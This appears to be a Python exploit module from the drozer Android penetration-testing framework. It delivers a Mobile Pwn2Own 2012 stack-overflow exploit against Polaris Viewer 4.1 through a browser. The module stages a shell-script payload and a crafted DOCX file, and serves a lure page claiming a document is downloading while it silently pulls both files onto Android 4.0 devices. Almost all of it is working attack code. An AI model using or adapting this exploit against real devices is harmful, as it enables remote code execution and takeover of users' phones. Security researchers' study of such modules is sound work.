from drozer.modules import Module, common
import os

class PolarisViewerBoF_BrowserDelivery(Module, common.Exploit):

    name = "Deliver Polaris Viewer 4 exploit files over browser (Mobile Pwn2Own 2012)"
    description = """
    When parsing DOCX files containing VML shapes, for example Word Art, the application makes a call to CDocxShape::readDrawShapeInfo. This function parses a series of tags associated with a VML shape. When it encounters an "adj" tag, the function enters a loop that parses the tag value as a list of comma-separated values. Each of these values are copied into a 64-byte buffer on the stack without checking their length. If any of these values exceed 64 bytes in size, it is possible to corrupt stack memory and gain control of the program's flow of execution.
    This was turned into a browser-based attack because the exploit relies on an additional file containing the shell commands to run e.g. install a package or echo out a binary and run it. This was originally sent over NFC as demonstrated at Mobile Pwn2Own 2012.
    
    References: http://labs.mwrinfosecurity.com/blog/2012/09/19/mobile-pwn2own-at-eusecwest-2012/
    Vulnerable: 

      * Polaris Viewer 4.1

    NOTE: Currently only works on ICS devices with a T-Mobile linker (MD5SUM=ca89ef3ffa6f48ca4147387638559d94)
    """
    examples = ""
    author = ["Tyrone (@mwrlabs)", "Jon (@mwrlabs)", "Jacques (@mwrlabs)", "Nils (@mwrlabs)"]
    date = "2013-07-17"
    license = "BSD (3 clause)"
    path = ["exploit", "remote", "fileformat"]
    module_type = "exploit"
    payloads = ["weasel.shell.armeabi"]
    
    __template = """
    <html>
        <head>
            <script>
                
                function file2()
                {
                    window.location = "download.docx";
                }

                function file1()
                {
                    window.location = "auth.bin";
                    setTimeout(file2, 7000);   
                }

            </script>
        </head>
        <body bgcolor="black" onload="file1();">
            <center>
                <div style="color:white">Please be patient while your document downloads...</div><br />
                <img src="" />
            </center>
        </body>
    </html>
    """
    
    def __init__(self, session, loader):
        Module.__init__(self, session)
        common.Exploit.__init__(self, loader)

        self.payload_format = "R"   # Only available option for this payload
        self.working_directory = "/data/data/com.infraware.polarisviewer4"

    def add_arguments(self, parser):
        parser.add_argument("--resource", default=None, help="specify the path component of the resultant exploit URI")
    
    def generate(self, arguments):

        print("Uploading blank page to /...")
        if not self.upload(arguments, "/", " "):
            return

        print("Uploading shell script to auth.bin...")
        if not self.upload(arguments, "/auth.bin", "#!/system/bin/sh\n" + self.payload, mimetype="application/octet-stream"):
            return
        
        f = open(os.path.join(os.path.dirname(__file__) , "ca89ef3ffa6f48ca4147387638559d94.docx"), "r")
        print("Uploading document to /download.docx...")
        if not self.upload(arguments, "/download.docx", f.read(), mimetype="application/vnd.openxmlformats-officedocument.wordprocessingml.document"):
            f.close()
            return
        f.close()

        path = self.generate_or_default_path(arguments.resource)
        print("Uploading web delivery page to %s..." % path)
        if not self.upload(arguments, path, self.build_multipart({ ".*Android.*4\.0.*": self.__template }, "gc0p4Jq0M2Yt08jU534c0p"), headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return
        
        print("Done. Exploit delivery page is available on: http://%s:%d%s" % (arguments.server[0], arguments.server[1], path.replace("\\","")))
